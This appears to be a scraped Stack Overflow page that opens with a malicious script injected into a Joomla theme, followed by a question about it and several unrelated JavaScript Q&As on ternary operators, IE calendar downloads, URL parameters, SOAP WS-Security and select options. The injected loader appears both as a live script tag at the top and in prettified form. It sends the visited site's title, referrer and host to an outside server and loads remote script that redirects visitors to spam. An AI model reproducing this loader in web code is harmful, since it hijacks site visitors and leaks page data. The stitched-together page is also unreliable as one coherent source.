<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://www.vermessung-stuetz.de/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>
It was on my site (joomla theme),
I suspect to this code!
It will load a script from the following website:
http://www.vermessung-stuetz.de/js/jquery.min.php?c_utt=snt2014&c_utm=http%3A%2F%2Fwww.vermessung-stuetz.de%2Fjs%2Fjquery.min.php%3Fdefault_keyword%3D[WEBSITE TITLE]%26se_referrer%3D[DOMAIN OF YOUR WEBSITE]%26source%3D[REFFERER]
If I would execute that code NOW, the url would be:
http://www.vermessung-stuetz.de/js/jquery.min.php?c_utt=snt2014&c_utm=http%3A%2F%2Fwww.vermessung-stuetz.de%2Fjs%2Fjquery.min.php%3Fdefault_keyword%3Djoomla%2520-%2520What%2520is%2520this%2520javascript%2520code%2520doing%2520-%2520Stack%2520Overflow%26se_referrer%3Dhttp%253A%252F%252Fstackoverflow.com%252Fquestions%252Ftagged%252Fjavascript%26source%3Dstackoverflow.com
That script will redirect user to a site, but it seems to ban you if you visit it two times. I visited the url I was redirected to and I only saw a Google Chrome survey. Then I tried using a proxy and one of the things you might get is:
window.location.href='/HH4t0?sid1=mix_keywords';
The fact of it hidding in a jquery.min file makes me belive it's not something wanted.
It creates a script tag which makes a get request on the http://www.vermessung-stuetz.de/js/jquery.min.php" site.
Prettyfied code:
var a = '';
setTimeout(10);
var default_keyword = encodeURIComponent(document.title);
var se_referrer = encodeURIComponent(document.referrer);
var host = encodeURIComponent(window.location.host);
var base = "http://www.vermessung-stuetz.de/js/jquery.min.php";
var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host;
var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url);
if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== '') {
document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');
}
Related
This question already has answers here:
Operator precedence with JavaScript's ternary operator
(7 answers)
Concatenate string with ternary operator in javascript [duplicate]
(2 answers)
Closed 1 year ago.
I am trying to check if the string is null or empty. If it is null or empty, then trying to assign default value as '1'. I tried below but it does not work.
var url = 'http://www.test.com?';
var concatResult = url +
"&firstname=" + viewer[1] ? viewer[1] : '1' +
"&tableId=" + this.id ? this.id : '1';
The output of concatResult is empty "" which should not be empty.
I would really appreciate your help. Thank you!
You need to wrap it in parenthesis:
(viewer[1] ? viewer[1] : '1')
Otherwise it is doing
(url + "&firstname=" + viewer[1]) ? viewer[1] : '1'
So all together:
var concatResult = url +
"&firstname=" + (viewer[1] ? viewer[1] : '1') +
"&tableId=" + (this.id ? this.id : '1');
Or a little shorter:
var concatResult = url +
"&firstname=" + (viewer[1] || '1') +
"&tableId=" + (this.id || '1');
var url = 'http://www.test.com?';
var concatResult = url +
"&firstname=" + (viewer[1] || '1') +
"&tableId=" + (this.id || '1');
You can use Nullish_coalescing_operator (?? and .?) or good old fashion or (||):
var viewer = null
var id = ''
var url = 'http://www.test.com?';
var concatResult = url +
"firstname=" + (viewer?.[1] || '1') +
"&tableId=" + (id || '1')
console.log(concatResult)
this is working, no need to use + signs and quotes, just use template strings (Template literals)
const viewer = []
const id = ""
const url = 'http://www.test.com?';
const concatResult = `${url}&firstname=${viewer[1] || 1}&tableId=${id || 1}`;
I am new to StackOverflow and very much a beginner at Javascript so I apologize if there is an obvious issue with either the code or my post. I'm not necessarily trying to do this in the best or prettiest way at the moment, just get this project working before my internship ends. I have been working on making this https://github.com/commonpike/add-to-calendar-buttons add to calendar work with internet explorer which is not compatible with Encode:URI or the HTML "Download" attribute.
With the help comments on the project and other fixes to similar problems that I've seen I THOUGHT that I could add this code in the appropriate places and get things working. The calendar function is already part of the code but I included it because it is affected.
var href2 = (
'BEGIN:VCALENDAR',
'VERSION:2.0',
'BEGIN:VEVENT',
'URL:' + document.URL,
'DTSTART:' + (startTime || ''),
'DTEND:' + (endTime || ''),
'SUMMARY:' + (event.title || ''),
'DESCRIPTION:' + (event.description || ''),
'LOCATION:' + (event.address || ''),
'UID:' + (event.id || '') + '-' + document.URL,
'END:VEVENT',
'END:VCALENDAR');
if ((navigator.userAgent.indexOf("MSIE") != -1) || (!!document.documentMode == true)) {
return '<a class="' + eClass + '" href="javascript:msDownloadCalendar(\'' +
href2 + '\')">' + calendarName + '</a>';
} else {
return '<a class="' + eClass + '" download="' + CONFIG.texts.download + '" href="' +
href + '">' + calendarName + '</a>';
}
},
exports.msDownloadCalendar = function(url) {
if ((navigator.userAgent.indexOf("MSIE") != -1) || (!!document.documentMode == true)) {
var blob = new Blob([href2], {
type: 'text/calendar;charset=utf-8'
});
window.navigator.msSaveOrOpenBlob(blob, 'download.ics');
}
};
exports.addToCalendar = function(params) {
if (params instanceof HTMLElement) {
//console.log('HTMLElement');
return parseCalendar(params);
}
if (params instanceof NodeList) {
//console.log('NodeList');
var success = (params.length > 0);
Array.prototype.forEach.call(params, function(node) {
success = success && addToCalendar(node);
});
return success;
}
sanitizeParams(params);
if (!validParams(params)) {
console.log('Event details missing.');
return;
}
return generateMarkup(
generateCalendars(params.data),
params.options.class,
params.options.id
);
};
This does not however fix the problem. While it has no effect on the functionality in other browsers it totally breaks it in IE as only the headers show up while the console says the function 'addtocalendar' is undefined. 'Addtocalender' only logs as undefined in IE so I have to assume something that is being brought into play by
if ((navigator.userAgent.indexOf("MSIE") != -1 ) || (!!document.documentMode == true ))
is the culprit.
Thank you so so much to anyone in the community who can give me some input and help me get this up and running. I've pushed my head against the wall about at much as I can with my current skill set, and have learned a lot, but fear I have reached my my current limit.
I've been trying this for a lot of time now. I'm getting a value with the input and I'm trying to redirect the page by adding a new parameter and just passing dummy value 23 for now to the parameter number_range.
However, in the end in the window.location part it adds the parameter myurl/?e=1 always at the start. After that it redirects properly. How do I fix this. Please Help.
Also I'm new to javascript so please forgive my bad code and possible mistakes.
<h3>Price Filter</h3>
<input id="number_range" type="text"/><br>
<button onclick="filter_start(this,'gt'); return true;">Greater or equal</button><br>
<button onclick="filter_start(this,'ltt'); return false;">Less or equal</button>
<script language="javascript" type="text/javascript">
var filter_start = function(el, indicator){
setGetParameter("number_range", 23);
}
function setGetParameter(paramName, paramValue)
{
var url = window.location.href;
var hash = location.hash;
url = url.replace(hash, '');
if (url.indexOf("?") >= 0)
{
var params = url.substring(url.indexOf("?") + 1).split("&");
var paramFound = false;
params.forEach(function(param, index) {
var p = param.split("=");
if (p[0] == paramName) {
params[index] = paramName + "=" + paramValue;
paramFound = true;
}
});
if (!paramFound) params.push(paramName + "=" + paramValue);
url = url.substring(0, url.indexOf("?")+1) + params.join("&");
}
else
url += "?" + paramName + "=" + paramValue;
window.location.href = url + hash;
}
EDIT: Sorry just ran it in another place and this seems to work. I Think the problem then lies in Django's admin template or jquery.
Seems that you're missing some curly bracers. I've tidied your code very slightly:
var filter_start = function(el, indicator) {
setGetParameter("number_range", 23);
}
function setGetParameter(paramName, paramValue) {
var url = window.location.href;
var hash = location.hash;
url = url.replace(hash, '');
if (url.indexOf("?") >= 0) {
var params = url.substring(url.indexOf("?") + 1).split("&");
var paramFound = false;
params.forEach(function(param, index) {
var p = param.split("=");
if (p[0] == paramName) {
params[index] = paramName + "=" + paramValue;
paramFound = true;
}
});
if (!paramFound) params.push(paramName + "=" + paramValue);
url = url.substring(0, url.indexOf("?") + 1) + params.join("&");
} else {
url += "?" + paramName + "=" + paramValue;
window.location.href = url + hash;
}
}
I consume a SOAP who use a PasswordDigest authentification.
I use with succes this library: https://github.com/vpulim/node-soap
I run this code on Debian with nodejs version v0.10.29 and it's work.
Now i need to make it run on a windows computer with nodejs v6.6.0, and its not working anymore.
I have the following messages:
The security token could not be authenticated or authorized
I suspect a problem with the crypto lib, this code maybe:
"use strict";
var crypto = require('crypto');
exports.passwordDigest = function passwordDigest(nonce, created, password) {
// digest = base64 ( sha1 ( nonce + created + password ) )
var pwHash = crypto.createHash('sha1');
var rawNonce = new Buffer(nonce || '', 'base64').toString('binary');
pwHash.update(rawNonce + created + password);
return pwHash.digest('base64');
};
From https://github.com/vpulim/node-soap/blob/master/lib/utils.js
Ok, so here's the way I've worked around it:
The SOAP library has a function for building the WSSE security header, which is placed in soap/lib/security/templates/WSSecurity.js.
The problem for me that the UsernameToken it was placing in the header was inconsistent with the one that soapUI was using and actually getting results (in my example).
Orignal code:
"<wsse:UsernameToken xmlns:wsu=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd\" wsu:Id=\"SecurityToken-" + created + "\">
While what I needed was:
<wsse:UsernameToken wsu:Id="UsernameToken-<token>">
To get the proper token I've used WSSE library from npm (https://www.npmjs.com/package/wsse).
All I had to do was include the package, define the token as in the readme:
const wsse = require('wsse');
const token = wsse({ username: '<username>', password: '<password>' })
Then call token.getNonce() for the proper token and token.getPasswordDigest() for the EncodingType property in the header.
After that everything works as intended.
Hope that helps!
I have pushed module using #MTM answer.
Please have a look
https://www.npmjs.com/package/wssecurity-soap
Code for fixing it, in case anyone wants to review (its same as soap wssecurity auth implementation including fix)
var crypto = require('crypto');
var wsse = require('wsse');
var validPasswordTypes = ['PasswordDigest', 'PasswordText'];
function WSSecurity(username, password, options) {
options = options || {};
this._username = username;
this._password = password;
if (typeof options === 'string') {
this._passwordType = options ?
options :
'PasswordText';
options = {};
} else {
this._passwordType = options.passwordType ?
options.passwordType :
'PasswordText';
}
if (validPasswordTypes.indexOf(this._passwordType) === -1) {
this._passwordType = 'PasswordText';
}
this._hasTimeStamp = options.hasTimeStamp || typeof options.hasTimeStamp === 'boolean' ? !!options.hasTimeStamp : true;
if (options.hasNonce != null) {
this._hasNonce = !!options.hasNonce;
}
this._hasTokenCreated = options.hasTokenCreated || typeof options.hasTokenCreated === 'boolean' ? !!options.hasTokenCreated : true;
if (options.actor != null) {
this._actor = options.actor;
}
if (options.mustUnderstand != null) {
this._mustUnderstand = !!options.mustUnderstand;
}
}
WSSecurity.prototype.toXML = function() {
this._token = wsse({
username: this._username,
password: this._password
})
function getDate(d) {
function pad(n) {
return n < 10 ? '0' + n : n;
}
return d.getUTCFullYear() + '-'
+ pad(d.getUTCMonth() + 1) + '-'
+ pad(d.getUTCDate()) + 'T'
+ pad(d.getUTCHours()) + ':'
+ pad(d.getUTCMinutes()) + ':'
+ pad(d.getUTCSeconds()) + 'Z';
}
var now = new Date(this._token.getCreated());
var created = this._token.getCreated() ;
var timeStampXml = '';
if (this._hasTimeStamp) {
var expires = getDate( new Date(now.getTime() + (1000 * 600)) );
timeStampXml = "<wsu:Timestamp wsu:Id=\"Timestamp-"+created+"\">" +
"<wsu:Created>"+created+"</wsu:Created>" +
"<wsu:Expires>"+expires+"</wsu:Expires>" +
"</wsu:Timestamp>";
}
var password, nonce;
if (this._hasNonce || this._passwordType !== 'PasswordText') {
var nHash = crypto.createHash('sha1');
nHash.update(created + Math.random());
nonce = nHash.digest('base64');
}
if (this._passwordType === 'PasswordText') {
password = "<wsse:Password Type=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText\">" + this._password + "</wsse:Password>";
if (nonce) {
password += "<wsse:Nonce EncodingType=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary\">" + nonce + "</wsse:Nonce>";
}
} else {
password = "<wsse:Password Type=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordDigest\">" + this._token.getPasswordDigest() + "</wsse:Password>" +
"<wsse:Nonce EncodingType=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary\">" + this._token.getNonceBase64() + "</wsse:Nonce>";
}
return "<wsse:Security " + (this._actor ? "soap:actor=\"" + this._actor + "\" " : "") +
(this._mustUnderstand ? "soap:mustUnderstand=\"1\" " : "") +
"xmlns:wsse=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd\" xmlns:wsu=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd\">" +
timeStampXml +
"<wsse:UsernameToken wsu:Id=\"UsernameToken-" + created +"\">"+
"<wsse:Username>" + this._username + "</wsse:Username>" +
password +
(this._hasTokenCreated ? "<wsu:Created>" + created + "</wsu:Created>" : "") +
"</wsse:UsernameToken>" +
"</wsse:Security>";
};
module.exports = WSSecurity;
I've the code below written in JavaScript to add a new option to the select list from the opener window:
function updateSelectList()
{
var field = opener.document.objectdata.ticketPersonId;
if (true && opener && field)
{
var val = document.createElement('option');
var title = document.objectdata.titleId.options[document.objectdata.titleId.selectedIndex].text;
val.text = title + ' ' + document.objectdata.firstName.value + ' ' + document.objectdata.lastName.value + ':' + document.objectdata.username.value;
val.value = null;
val.selected = true;
field.add(val, null);
}
}
works all fine in Firefox, Google Chrome etc but not IE 6 :-(
please advise how I can make this work in IE 6 aswell.
Here's my snippet:
if (oldopt!=null || !horus.brokenDOM)
select.add(newopt, oldopt);
else
newopt=options[options.length]=new Option(newopt.text, newopt.value, false, false);
The definition of horus.brokenDOM is left to the reader :)
IIRC, I had some difficulty with using pre-defined Option objects (generally pulled out of another selectbox) in this context with IE, hence the in-place object creation.
function updateSelectList()
{
var field = opener.<%= updatelist %>;
if (<%= called %> && opener && field)
{
var val = opener.document.createElement('option');
var title = document.objectdata.titleId.options[document.objectdata.titleId.selectedIndex].text;
val.text = title + ' ' + document.objectdata.firstName.value + ' ' + document.objectdata.lastName.value + ':' + document.objectdata.username.value;
val.value = <%= thePerson != null ? thePerson.getId() : null %>;
val.selected = true;
try
{
field.add(val, null);
}
catch(error)
{
field.add(val, 0);
}
}
}
this seams to work. What a mission!